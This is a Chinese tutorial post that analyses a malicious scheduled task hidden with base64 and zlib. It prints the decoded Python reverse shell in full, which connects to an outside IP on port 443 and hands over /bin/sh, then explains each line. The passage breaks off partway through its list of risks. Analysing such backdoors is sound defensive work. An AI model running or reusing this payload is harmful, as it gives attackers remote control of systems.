这段定时任务代码究竟隐藏着什么恶意目的？-Python教程-PHP中文网

这段定时任务代码究竟隐藏着什么恶意目的？

聖光之護

发布： 2025-03-07 11:48:55

原创

880人浏览过

这段定时任务代码究竟隐藏着什么恶意目的？

定时任务代码分析及风险揭秘

这段看似复杂的定时任务，实则隐藏着严重的恶意代码。它巧妙地利用了base64编码、zlib压缩以及Python脚本，掩盖了其真实意图。让我们逐层分析：

首先，代码使用了codecs.getencoder('utf-8')进行编码，然后通过base64.b64decode解码，最后用zlib.decompress解压缩，最终执行解压后的Python代码。解码后的Python代码如下：

import socket,subprocess,os;
host="154.39.248.57";
port=443;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((host,port));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call("/bin/sh")

登录后复制

这段Python代码的功能是：

Linfo.ai

Linfo AI 是一款AI驱动的 Chrome 扩展程序，可以将网页文章、行业报告、YouTube 视频和 PDF 文档转换为结构化摘要。

104

查看详情

建立连接: 它尝试连接到IP地址154.39.248.57的443端口（通常是HTTPS端口）。
重定向IO: 使用os.dup2将socket的文件描述符复制到标准输入(stdin, 0), 标准输出(stdout, 1), 和标准错误输出(stderr, 2)。这意味着该脚本的输入输出都将通过这个socket连接进行。
执行shell: 最后执行/bin/sh命令。这意味着攻击者可以通过这个socket连接远程执行任意shell命令。

恶意目的及风险:

这段代码的核心风险在于它允许攻击者远程控制受感染的系统。通过这个后门，攻击者可以：